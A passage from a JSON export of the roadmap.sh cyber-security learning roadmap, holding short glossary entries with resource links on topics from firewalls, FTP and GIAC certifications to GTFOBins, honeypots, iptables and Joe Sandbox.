    "content": "# Firewalls and Next-Generation Firewalls\n\nA firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and untrusted external networks, such as the internet. Next-Generation Firewalls (NGFWs) extend traditional firewall capabilities by adding advanced features like intrusion prevention, application control, and advanced threat detection, offering deeper inspection and more granular control over network traffic.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Firewall?](https://www.kaspersky.com/resource-center/definitions/firewall)\n- [@article@What is a next-generation firewall (NGFW)?](https://www.cloudflare.com/en-gb/learning/security/what-is-next-generation-firewall-ngfw/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/firewall-logs@np0PwKy-EvIa_f_LC6Eem.md",
    "content": "# Firewall Logs\n\nFirewall logs are records generated by a firewall that detail network traffic passing through it. These logs typically contain information such as source and destination IP addresses, ports, timestamps, and the actions taken by the firewall (e.g., allowing or blocking connections). Analyzing these logs helps to understand network activity, identify potential security threats, and troubleshoot connectivity issues.\n\nVisit the following resources to learn more:\n\n- [@article@What is Firewall Logging and Why is it Important?](https://cybriant.com/what-is-firewall-logging-and-why-is-it-important/)\n- [@video@Reviewing Firewall Logs](https://www.youtube.com/watch?v=XiJ30f8V_T4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ftk-imager@_jJhL1RtaqHJmlcWrd-Ak.md",
    "content": "# FTK Imager\n\nFTK Imager is a popular and widely used free imaging tool developed by AccessData. It allows forensic analysts and IT professionals to create forensic images of digital devices and storage media. It is ideal for incident response and discovery as it helps in preserving and investigating digital evidence that is crucial for handling cyber security incidents.\n\nVisit the following resources to learn more:\n\n- [@official@Create Forensic Images with Exterro FTK Imager](https://www.exterro.com/digital-forensics-software/ftk-imager)\n- [@video@Imaging a Directory Using FTK Imager](https://www.youtube.com/watch?v=trWDlPif84o)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ftp-vs-sftp@9Z6HPHPj4escSVDWftFEx.md",
    "content": "# FTP vs SFTP\n\nFile Transfer Protocol (FTP) is a standard network protocol used to transfer files between a client and a server on a computer network. Secure File Transfer Protocol (SFTP), on the other hand, is a more secure method that transfers files over a secure SSH connection, encrypting both commands and data being transferred.\n\nVisit the following resources to learn more:\n\n- [@article@FTP defined and explained](https://www.fortinet.com/resources/cyberglossary/file-transfer-protocol-ftp-meaning)\n- [@video@How to use SFTP commands](https://www.youtube.com/watch?v=22lBJIfO9qQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ftp@ftYYMxRpVer-jgSswHLNa.md",
    "content": "# FTP\n\nFile Transfer Protocol (FTP) is a standard network protocol used for transferring files between a client and a server over a TCP/IP network, such as the internet. It operates using a client-server model, where a client initiates a connection to an FTP server to upload, download, delete, or rename files. FTP requires authentication, usually with a username and password, and establishes separate control and data connections for managing commands and transferring data, respectively.\n\nVisit the following resources to learn more:\n\n- [@article@File Transfer Protocol](https://en.wikipedia.org/wiki/File_Transfer_Protocol)\n- [@article@FTP meaning and uses](https://www.investopedia.com/terms/f/ftp-file-transfer-protocol.asp)\n- [@video@What is FTP?](https://www.youtube.com/watch?v=HI0Oh4NJqcI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/fundamental-it-skills@oimYzZYFXKjgvc7D4c-2u.md",
    "content": "# Fundamental IT Skills\n\nFundamental IT skills form the backbone of cybersecurity proficiency and encompass a broad range of technical knowledge. These skills include understanding computer hardware and software, networking concepts, and operating systems (particularly Windows and Linux). Proficiency in at least one programming language, such as Python or JavaScript, is increasingly important for automation and scripting tasks. Database management, including SQL, is crucial for handling and securing data. Knowledge of cloud computing platforms like AWS or Azure is becoming essential as organizations migrate to cloud environments. Familiarity with basic cybersecurity concepts such as encryption, access control, and common attack vectors provides a foundation for more advanced security work. Additionally, troubleshooting skills, the ability to interpret logs, and a basic understanding of web technologies are vital. These fundamental IT skills enable cybersecurity professionals to effectively protect systems, identify vulnerabilities, and respond to incidents in increasingly complex technological landscapes.\n\nVisit the following resources to learn more:\n\n- [@course@Cisco Networking Academy: Introduction to Cybersecurity](https://www.netacad.com/courses/introduction-to-cybersecurity?courseLang=en-US)\n- [@article@8 In-Demand IT Skills to Boost Your Resume in 2025](https://www.coursera.org/articles/key-it-skills-for-your-career)\n- [@article@Top IT Skills in Demand](https://www.comptia.org/en/blog/top-it-skills-in-demand)\n- [@article@IT Skills: Definition and Examples](https://www.indeed.com/career-advice/finding-a-job/it-skills)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/gcp@tOLA5QPKi6LHl1ljsOMwX.md",
    "content": "# GCP\n\nGoogle Cloud Platform (GCP) is a collection of cloud computing services offered by Google, which provides infrastructure and platform services to businesses or individuals. It enables users to either build their own applications or services on the provided resources, or utilize ready-to-use services provided by Google. GCP covers a wide range of services, including (but not limited to) compute, storage, databases, networking, and many more.\n\nVisit the following resources to learn more:\n\n- [@official@Google Cloud Platform](https://cloud.google.com)\n- [@official@Cloud Computing, Hosting Services, and APIs](https://cloud.google.com/gcp)\n- [@video@Google Cloud Platform Video Course](https://www.youtube.com/watch?v=fZOz13joN0o)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/giac@ZiUT-lyIBfHTzG-dwSy96.md",
    "content": "# GIAC\n\nGIAC is a globally recognized organization that provides certifications for information security professionals. Established in 1999, its primary aim is to validate the knowledge and skills of professionals in various cybersecurity domains. GIAC certifications focus on practical and hands-on abilities to ensure that certified individuals possess the necessary expertise to tackle real-world cybersecurity challenges.\n\nVisit the following resources to learn more:\n\n- [@official@GIAC](https://www.giac.org/)\n- [@official@Get Certified - GIAC](https://www.giac.org/get-certified/?msc=main-nav)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/go@jehVvdz8BnruKjqHMKu5v.md",
    "content": "# Go\n\nGo, also known as Golang, is an open-source programming language created by Google. Launched in 2009, it was designed to overcome issues present in other languages and offer a more secure, robust, and efficient development experience.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@video@Go in 100 seconds](https://www.youtube.com/watch?v=446E-r0rXHI)\n- [@video@Go Tutorial for beginners](https://www.youtube.com/watch?v=yyUHQIec83I)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/google-drive@fTZ4PqH-AMhYA_65w4wFO.md",
    "content": "# Google Drive\n\nGoogle Drive is a cloud-based storage solution provided by Google, which offers users the ability to store, share, and collaborate on files and documents across different platforms and devices. It is integrated with Google's productivity suite, including Google Docs, Sheets, Slides, and Forms, allowing seamless collaboration with team members in real-time.\n\nVisit the following resources to learn more:\n\n- [@official@Google Drive](https://drive.google.com)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/google-suite@IOK_FluAv34j3Tj_NvwdO.md",
    "content": "# Google Workspace (Formerly G Suite)\n\nGoogle Workspace, formerly known as G Suite, is a collection of cloud-based productivity and collaboration tools developed by Google. It includes popular applications such as Gmail for email, Google Drive for file storage and sharing, Google Docs for document creation and editing, Google Sheets for spreadsheets, and Google Meet for video conferencing. From a cybersecurity perspective, Google Workspace presents both advantages and challenges. It offers robust built-in security features like two-factor authentication, encryption of data in transit and at rest, and advanced threat protection. However, its cloud-based nature means organizations must carefully manage access controls, data sharing policies, and compliance with various regulations.\n\nVisit the following resources to learn more:\n\n- [@official@Google Workspace](https://workspace.google.com/intl/en_uk/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/gpen@t4h9rEKWz5Us0qJKXhxlX.md",
    "content": "# GPEN\n\nThe GIAC Penetration Tester (GPEN) certification is an advanced-level credential designed for professionals who want to demonstrate their expertise in the field of penetration testing and ethical hacking. Created by the Global Information Assurance Certification (GIAC) organization, GPEN validates an individual's ability to conduct legal, systematic, and effective penetration tests to assess the security of computer networks, systems, and applications.\n\nVisit the following resources to learn more:\n\n- [@official@GPEN Certification](https://www.giac.org/certifications/penetration-tester-gpen/)\n- [@article@What is the GPEN Certification?](https://hackernoon.com/what-is-the-giac-penetration-tester-gpen-certification)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/grep@Dfz-6aug0juUpMmOJLCJ9.md",
    "content": "# grep\n\nGrep is a powerful command-line tool used for searching and filtering text, primarily in Unix-based systems. Short for \"global regular expression print\", grep is widely used for its ability to search through files and directories, and find lines that match a given pattern. It is particularly useful for incident response and discovery tasks, as it helps you identify specific occurrences of potentially malicious activities within large amounts of log data.\n\nVisit the following resources to learn more:\n\n- [@article@grep command in Linux](https://www.digitalocean.com/community/tutorials/grep-command-in-linux-unix)\n- [@video@The grep command](https://www.youtube.com/watch?v=Tc_jntovCM0)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/group-policy@FxuMJmDoDkIsPFp2iocFg.md",
    "content": "# Group Policy\n\nGroup Policy is a feature within Microsoft Windows operating systems that provides centralized management and configuration of computer and user settings in an Active Directory environment. It allows administrators to define and enforce specific rules and policies for users and computers, controlling aspects like password complexity, software installation, security settings, and access rights. These policies are applied to groups of users or computers, streamlining administration and ensuring consistent configurations across the network.\n\nVisit the following resources to learn more:\n\n- [@official@Group Policy overview](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831791(v=ws.11))\n- [@video@Learn Windows Group Policy the easy way!](https://www.youtube.com/watch?v=rEhTzP-ScBo)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/gsec@nlmATCTgHoIoMcEOW8bUW.md",
    "content": "# GSEC\n\nThe GIAC Security Essentials Certification (GSEC) is an advanced cybersecurity certification that demonstrates an individual's knowledge and skills in addressing security threats and vulnerabilities in various systems. Developed by the Global Information Assurance Certification (GIAC), this certification is suitable for security professionals, IT managers, and network administrators who want to enhance their expertise in the core cybersecurity concepts and practices.\n\nVisit the following resources to learn more:\n\n- [@official@GSEC Certification](https://www.giac.org/certifications/security-essentials-gsec/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/gtfobins@Jd9t8e9r29dHRsN40dDOk.md",
    "content": "# GTFOBINS\n\nGTFOBins (GTFOBINS) is a curated list of Unix binaries that can be exploited by attackers to bypass local security restrictions on a misconfigured system. It provides a detailed index of commands and scripts, demonstrating how certain binaries, when used improperly, can enable privilege escalation, file manipulation, and other unauthorized activities, thus serving as a resource for both security professionals to understand potential vulnerabilities and for attackers to identify and exploit weaknesses.\n\nVisit the following resources to learn more:\n\n- [@opensource@GTFOBins/GTFOBins.github.io](https://gtfobins.github.io/)\n- [@video@Mastering Privilege Escalation: A Comprehensive Guide on GTFOBins](https://www.youtube.com/watch?v=gx6CTtWohLQ)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/guestos@LocGETHz6ANYinNd5ZLsS.md",
    "content": "# Guest Operating Systems\n\nA Guest Operating System (GuestOS) is an operating system installed within a virtual machine. Think of it as an operating system running inside another operating system (the host). This allows you to run multiple operating systems on a single physical machine, each isolated from the others. This isolation provides a contained environment for software, allowing for testing, development, and running applications in different environments simultaneously.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Guest Operating System?](https://www.techtarget.com/searchitoperations/definition/guest-OS-guest-operating-system)\n- [@article@Guest Operating System](https://nordvpn.com/cybersecurity/glossary/guest-operating-system/?srsltid=AfmBOop0L-VFCtuYvEBQgHy7dCIa3sfzNVa-Zn6l0SniAYDpftfOgH7N)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/gwapt@rwniCTWfYpKP5gi02Pa9f.md",
    "content": "# GWAPT\n\nThe GIAC Web Application Penetration Tester (GWAPT) certification validates an individual's ability to perform in-depth web application security assessments and exploit vulnerabilities. GWAPT focuses on using ethical hacking methodologies to conduct web application penetration testing with the goal of identifying, evaluating, and mitigating security risks.\n\nVisit the following resources to learn more:\n\n- [@official@GWAPT Certification](https://www.giac.org/certifications/web-application-penetration-tester-gwapt/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hackthebox@wkuE_cChPZT2MHyGjUuU4.md",
    "content": "# HackTheBox\n\nHack The Box (HTB) is a popular online platform designed for security enthusiasts, penetration testers, and ethical hackers to develop and enhance their skills by engaging in real-world cybersecurity challenges. The platform provides a wide array of virtual machines (VMs), known as \"boxes,\" each with a unique set of security vulnerabilities to exploit.\n\nVisit the following resources to learn more:\n\n- [@official@Hack The Box](https://www.hackthebox.com/)\n- [@video@I played HTB for 30 days, heres what I learnt](https://www.youtube.com/watch?v=bPv5pb7AcYs)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hashing@0UZmAECMnfioi-VeXcvg8.md",
    "content": "# Hashing\n\nHashing is a fundamental concept in computer science involving the use of a mathematical function (a hash function) to map data of arbitrary size to a fixed-size value, known as a hash or a hash code. This transformation is typically one-way, meaning it is computationally infeasible to reverse the process and recover the original data from the hash value alone. Hash functions are designed to be deterministic, ensuring that the same input always produces the same output.\n\nVisit the following resources to learn more:\n\n- [@article@What is hashing and how does it work?](https://www.techtarget.com/searchdatamanagement/definition/hashing)\n- [@article@Hashing Algorithm Overview: Types, Methodologies & Usage](https://www.okta.com/identity-101/hashing-algorithms/)\n- [@article@Understanding Cryptography Types:](https://geekflare.com/cybersecurity/cryptography-types/)\n- [@video@Hashing Explained](https://www.youtube.com/watch?v=EOe1XUykdP4)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/head@VNmrb5Dm4UKUgL8JBfhnE.md",
    "content": "# head\n\n`head` is a versatile command-line utility that enables users to display the first few lines of a text file; by default, it shows the first 10 lines. In the case of incident response and cybersecurity, it is a useful tool to quickly analyze logs or configuration files while investigating potential security breaches or malware infections in a system.\n\nVisit the following resources to learn more:\n\n- [@article@The Head and Tail commands in Linux](https://www.baeldung.com/linux/head-tail-commands)\n- [@video@Head and Tail commands](https://www.youtube.com/watch?v=5EqL6Fc7NNw)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hips@l5EnhOCnkN-RKvgrS9ylH.md",
    "content": "# Host Intrusion Prevention System (HIPS)\n\nA Host Intrusion Prevention System (HIPS) is a software application installed on a single host (like a computer or server) that monitors the activities taking place on that host. It analyzes events for malicious or suspicious behavior, based on predefined rules and signatures, and takes action to block or mitigate threats targeting that specific system.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Intrusion Prevention System?](https://www.paloaltonetworks.com/cyberpedia/what-is-an-intrusion-prevention-system-ips)\n- [@article@What is Host intrusion prevention system (HIPS)?](https://cyberpedia.reasonlabs.com/EN/host%20intrusion%20prevention%20system%20(hips).html)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/honeypots@bj5YX8zhlam0yoNckL8e4.md",
    "content": "# Honeypots\n\nA honeypot is a decoy system or resource designed to attract and trap potential attackers. It mimics a real target, such as a server or application, but contains fabricated vulnerabilities. By monitoring the honeypot, security professionals can gather information about attacker techniques, motives, and tools, without putting genuine systems at risk. This information can then be used to improve overall security posture and incident response capabilities.\n\nVisit the following resources to learn more:\n\n- [@article@How Honeypots help security](https://www.kaspersky.com/resource-center/threats/what-is-a-honeypot)\n- [@video@What is a Honeypot?](https://www.youtube.com/watch?v=FtR9sFJlkSA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/host-based-firewall@jWl1VWkZn3n1G2eHq6EnX.md",
    "content": "# Host-Based Firewall\n\nA host-based firewall is a software application that resides on a single computer (the \"host\") and controls network traffic in and out of that machine. It acts as a barrier, examining incoming and outgoing network connections based on pre-configured rules. These rules dictate which connections are allowed or blocked, providing a layer of protection specifically tailored to the individual host system.\n\nVisit the following resources to learn more:\n\n- [@article@What is a host-based firewall?](https://www.paloaltonetworks.com/cyberpedia/what-is-a-host-based-firewall)\n- [@video@Host-based Firewalls](https://www.youtube.com/watch?v=aRHhm980oaE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hostos@p7w3C94xjLwSMm5qA8XlL.md",
    "content": "# Host Operating System\n\nA Host Operating System (HostOS) is the operating system installed directly onto the physical hardware of a computer. It manages the hardware resources, such as the CPU, memory, storage, and network interfaces, and provides a platform for running other operating systems within virtual machines. Think of it as the foundation upon which virtualized environments are built.\n\nVisit the following resources to learn more:\n\n- [@article@Host Operating System Definition](https://nordvpn.com/cybersecurity/glossary/host-operating-system/)\n- [@article@Host vs Guest OS](https://www.datto.com/blog/whats-the-difference-host-vs-guest-os/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hping@Cclbt4bNfkHwFwZOvJuLK.md",
    "content": "# hping\n\nhping is a versatile and powerful command-line based packet crafting tool that allows network administrators, security professionals, and system auditors to manipulate and analyze network packets at a granular level. hping can be used to perform stress testing, firewall testing, scanning, and packet generation, among other functionalities.\n\nVisit the following resources to learn more:\n\n- [@official@hping](https://salsa.debian.org/debian/hping3)\n- [@article@What is hping?](https://www.okta.com/uk/identity-101/hping/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hr@05tH6WhToC615JTFN-TPc.md",
    "content": "# Human Resources in Cybersecurity\n\nHuman Resources (HR) is the department within a company responsible for managing employees. This includes recruiting, hiring, training, and handling employee relations, as well as administering compensation and benefits. When it comes to cybersecurity, HR plays a critical role in establishing and enforcing policies, training employees on security awareness, and managing the risks associated with insider threats or security breaches involving employees.\n\nVisit the following resources to learn more:\n\n- [@article@What is HR?](https://www.investopedia.com/terms/h/humanresources.asp)\n- [@article@What does HR actually do?](https://www.lucidchart.com/blog/what-does-hr-do)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/http--https@3Awm221OJHxXNLiL9yxfd.md",
    "content": "# HTTP / HTTPS\n\nHTTP (Hypertext Transfer Protocol) is the foundation of data communication on the web. It defines how messages are formatted and transmitted between a web server and a browser. HTTPS (HTTP Secure) is the secure version of HTTP, where the communication is encrypted using Transport Layer Security (TLS) or Secure Sockets Layer (SSL). This encryption protects the data being transferred from eavesdropping and tampering.\n\nVisit the following resources to learn more:\n\n- [@article@An Overview of HTTP](https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview)\n- [@article@What is HTTPS?](https://www.cloudflare.com/en-gb/learning/ssl/what-is-https/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hybrid@ywRlTuTfh5-NHnv4ZyW1t.md",
    "content": "# Hybrid Cloud Model\n\nA hybrid cloud model combines on-premises infrastructure (a private cloud) with third-party public cloud services. This setup allows organizations to leverage the benefits of both environments. For example, sensitive data might remain in a private cloud for security and compliance reasons, while compute-intensive tasks can be offloaded to the public cloud for scalability and cost-effectiveness. The key is interoperability between these cloud environments, enabling data and applications to be shared.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Hybrid Cloud?](https://cloud.google.com/learn/what-is-hybrid-cloud)\n- [@video@What is Hybrid cloud?](https://www.youtube.com/watch?v=3kGFBBy3Lyg)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/hypervisor@CIoLaRv5I3sCr9tBnZHEi.md",
    "content": "# Hypervisor\n\nA hypervisor, also known as a virtual machine monitor (VMM), is software or firmware that enables the creation and management of virtual machines (VMs) by abstracting the underlying hardware. It allows multiple VMs to run on a single physical machine, each operating independently with its own operating system and applications. Hypervisors facilitate better resource utilization by allowing a physical server to host several virtual environments, optimizing hardware efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@What is a hypervisor?](https://www.redhat.com/en/topics/virtualization/what-is-a-hypervisor)\n- [@video@What is a Hypervisor?](https://www.youtube.com/watch?v=LMAEbB2a50M)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/iaas@1nPifNUm-udLChIqLC_uK.md",
    "content": "# Infrastructure as a Service (IaaS)\n\nInfrastructure as a Service (IaaS) is a type of cloud computing service that provides on-demand access to fundamental computing resources – servers, networking, storage, and virtualization – over the internet. Instead of owning and managing physical hardware in an on-premises data center, users can rent these resources from a cloud provider. This allows businesses to build and run applications without the upfront investment and ongoing maintenance costs associated with traditional infrastructure.\n\nVisit the following resources to learn more:\n\n- [@article@What is IaaS?](https://azure.microsoft.com/en-gb/resources/cloud-computing-dictionary/what-is-iaas)\n- [@video@IaaS Explained](https://www.youtube.com/watch?v=XRdmfo4M_YA)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/icloud@E7yfALgu9E2auOYDOTmex.md",
    "content": "# iCloud\n\niCloud is Apple's cloud storage and cloud computing service. It allows users to store data like documents, photos, music, and contacts on remote servers and wirelessly synchronize it to their iOS, macOS, or Windows devices. iCloud also provides services like Find My (to locate lost devices) and Keychain (for password management), integrated directly into Apple's operating systems.\n\nVisit the following resources to learn more:\n\n- [@official@iCloud](https://www.icloud.com/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/icloud@Wqy6ki13hP5c0VhGYEhHj.md",
    "content": "# iCloud\n\niCloud is a cloud storage and cloud computing service provided by Apple Inc. It allows users to store data, such as documents, photos, and music, on remote servers and synchronize them across their Apple devices, including iPhones, iPads, and MacBooks.\n\nVisit the following resources to learn more:\n\n- [@official@iCloud](https://www.icloud.com/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/identification@XsRoldaBXUSiGbvY1TjQd.md",
    "content": "# Identification\n\nIdentification refers to the process of detecting and recognizing that a security breach or anomalous activity has occurred within a network or system. This is the initial step in the incident response process, where security tools, monitoring systems, or alert mechanisms, such as Intrusion Detection Systems (IDS), log analysis, or user reports, indicate potential malicious activity. Effective identification is critical as it determines the subsequent steps in addressing the incident, such as containment, eradication, and recovery. Prompt and accurate identification helps minimize the impact of the incident, reducing downtime, data loss, and the overall damage to the organization.\n\nVisit the following resources to learn more:\n\n- [@article@How to identify Cybersecurity vulnerabilities](https://fieldeffect.com/blog/how-to-identify-cybersecurity-vulnerabilities)\n- [@article@What is an Intrusion Detection System](https://www.ibm.com/topics/intrusion-detection-system)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/impersonation@ZEgxmvjWPp5NofLFz_FTJ.md",
    "content": "# Impersonation\n\nImpersonation in cybersecurity refers to an attack technique where a threat actor pretends to be a legitimate person or entity to deceive individuals, systems, or organizations. This tactic is commonly used in social engineering attacks to gain unauthorized access to sensitive information, resources, or systems.\n\nVisit the following resources to learn more:\n\n- [@article@What is an Impersonation Attack?](https://www.upguard.com/blog/impersonation-attack)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/infrared@KsZ63c3KQLLn373c5CZnp.md",
    "content": "# Infrared\n\nInfrared (IR) is a type of wireless communication technology that utilizes light waves in the electromagnetic spectrum to transmit data between devices. Infrared connections are widely used in short-range communication, commonly found in devices like remote controls, wireless keyboards and mice, and computer-to-printer communication.\n\nVisit the following resources to learn more:\n\n- [@article@Infrared Definition](https://nordvpn.com/cybersecurity/glossary/infrared/?srsltid=AfmBOop7r5E41gRA5itc1NmwrS9qpjfiFnW6UKBwVLuu_MifaKdLHoTe)\n- [@article@Infrared](https://www.larksuite.com/en_us/topics/cybersecurity-glossary/infrared)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/installation-and-configuration@02aaEP9E5tlefeGBxf_Rj.md",
    "content": "# Operating System Installation and Configuration\n\nInstalling and configuring an operating system involves setting up the core software that manages computer hardware and resources. This process includes partitioning drives, selecting user accounts, defining network settings, and installing necessary drivers. A secure installation should minimize default services, apply the latest patches, and configure access controls to restrict unauthorized usage. Proper configuration ensures the operating system functions efficiently while also minimizing vulnerabilities."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/installing-software-and-applications@Ot3LGpM-CT_nKsNqIKIye.md",
    "content": "# Installing Software and Applications\n\nInstalling software and applications is more than just clicking \"next, next, finish.\" When adding new programs to your system, think about where you're getting them from. Stick to official app stores or the developer's website for the best security. Before installing, spend a few minutes learning about the app and the company behind it. Pay close attention to the permissions the app asks for; does it really need access to your contacts or location? Regularly update both your operating system and installed apps to patch security holes. Consider installing a reputable security app to scan for malware. Finally, remove any apps you no longer use to reduce your system's attack surface."
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ip@FdoqB2---uDAyz6xZjk_u.md",
    "content": "# IP\n\nIP, or Internet Protocol, is a fundamental concept in cybersecurity that refers to the way data is transferred across networks, specifically the internet. It is a core component of the internet's architecture and serves as the primary building block for communication between devices connected to the network. An IP address is a unique identifier assigned to each device connected to a network, like a computer or smartphone. It comprises a series of numbers separated by dots (e.g., 192.168.1.1). IP addresses can be either IPv4 (32-bit) or the newer IPv6 (128-bit) format, which provides more available addresses. They allow devices to send and receive data packets to and from other devices on the internet.\n\nVisit the following resources to learn more:\n\n- [@article@Check Your IP Address](https://ipleak.net)\n- [@article@What is an IP Address and What does it mean?](https://www.kaspersky.com/resource-center/definitions/what-is-an-ip-address)\n- [@video@Whats an IP address?](https://www.youtube.com/watch?v=6is6Gulh7qE)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ipam@hN8p5YBcSaPm-byQUIz8L.md",
    "content": "# IPAM\n\nIP Address Management (IPAM) is a critical aspect of cyber security, as it helps organizations efficiently manage and track their IP addresses, DNS, and DHCP services. In any network, devices like servers, routers, and switches are assigned unique IP addresses, which enables them to communicate with each other. Efficient and secure management of these IP addresses is vital for maintaining network security and prevent unauthorized access.\n\nVisit the following resources to learn more:\n\n- [@article@What is IPAM?](https://www.infoblox.com/glossary/ipam-ip-address-management/)\n- [@article@IP Address Management](https://learn.microsoft.com/en-us/windows-server/networking/technologies/ipam/ipam-top)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ipconfig@IXNGFF4sOFbQ_aND-ELK0.md",
    "content": "# ipconfig\n\n`ipconfig` is a widely-used command-line utility for Windows operating systems that provides valuable information regarding a computer's network configuration. It can be extremely helpful for incident response and discovery tasks when investigating network-related issues, extracting crucial network details, or when trying to ascertain a machine's IP address.\n\nVisit the following resources to learn more:\n\n- [@article@ipconfig command](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig)\n- [@article@Understanding ipconfig](https://www.whatismyip.com/ipconfig/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ipconfig@u-6xuZUyOrogh1bU4cwER.md",
    "content": "# ipconfig\n\n`ipconfig` is a widely-used command-line utility for Windows operating systems that provides valuable information regarding a computer's network configuration. It can be extremely helpful for incident response and discovery tasks when investigating network-related issues, extracting crucial network details, or when trying to ascertain a machine's IP address.\n\nVisit the following resources to learn more:\n\n- [@article@ipconfig command](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig)\n- [@article@Understanding ipconfig](https://www.whatismyip.com/ipconfig/)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/ipsec@gNFVtBxSYP5Uw3o3tlJ0M.md",
    "content": "# IPsec\n\nIPsec (Internet Protocol Security) is a suite of protocols used to secure Internet Protocol (IP) communications by authenticating and encrypting each IP packet of a communication session. It operates at the network layer, providing security for all applications running over it. IPsec can be used to create Virtual Private Networks (VPNs) or to secure remote access connections, ensuring data confidentiality, integrity, and authentication between devices.\n\nVisit the following resources to learn more:\n\n- [@article@What is IPSec?](https://www.cloudflare.com/en-gb/learning/network-layer/what-is-ipsec/)\n- [@video@IP Sec VPN Fundamentals](https://www.youtube.com/watch?v=15amNny_kKI)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/iptables@jr8JlyqmN3p7Ol3_kD9AH.md",
    "content": "# iptables\n\nIPTables is a command-line utility for configuring and managing packet filtering rules within the Linux operating system. It allows the system administrator to define and manage the firewall rules that control the incoming and outgoing network traffic. IPTables is an essential tool for securing Linux systems and ensuring proper network traffic flow.\n\nVisit the following resources to learn more:\n\n- [@article@iptables man page](https://linux.die.net/man/8/iptables)\n- [@video@iptables complete guide](https://www.youtube.com/watch?v=6Ra17Qpj68c)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/iso@oRssaVG-K-JwlL6TAHhXw.md",
    "content": "# ISO\n\nThe International Organization for Standardization (ISO) is an international standard-setting body composed of representatives from various national standards organizations. It promotes worldwide proprietary, industrial, and commercial standards. In the domain of cyber security, there are several important ISO standards that help organizations to protect their sensitive data and to be resilient against cyber threats.\n\nVisit the following resources to learn more:\n\n- [@official@International Organization for Standardization](https://www.iso.org/home.html)\n- [@article@What is the ISO?](https://www.techtarget.com/searchdatacenter/definition/ISO#:~:text=ISO%20(International%20Organization%20for%20Standardization)%20is%20a%20worldwide,federation%20of%20national%20standards%20bodies.)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/javascript@2SThr6mHpX6rpW-gmsqxG.md",
    "content": "# JavaScript\n\nJavaScript (often abbreviated as JS) is a widely-used, high-level programming language. It is predominantly used for creating and enhancing the interactive elements of web pages, making it an integral part of the web development space. JavaScript was initially known as LiveScript and was created by Brendan Eich in 1995, but it later got renamed to JavaScript.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/javascript)\n- [@article@What is JavaScript?](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript)\n- [@video@100 JavaScript concepts you need to know](https://www.youtube.com/watch?v=lkIFF4maKMU)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/joe-sandbox@h__KxKa0Q74_egY7GOe-L.md",
    "content": "# Joe Sandbox\n\nJoe Sandbox is a system used to automatically analyze potentially malicious files or URLs within an isolated environment. It executes these samples and observes their behavior, generating detailed reports on their activities, including network communication, system modifications, and attempts to evade detection. This information helps security professionals understand the nature and severity of threats.\n\nVisit the following resources to learn more:\n\n- [@official@Joe Sandbox](https://www.joesandbox.com/#windows)\n- [@video@Cybersecurity Sandbox for Security Analysts](https://www.youtube.com/watch?v=FJGmRzY1igY)"
  },
  {
    "path": "src/data/roadmaps/cyber-security/content/jump-server@UF3BV1sEEOrqh5ilnfM1B.md",
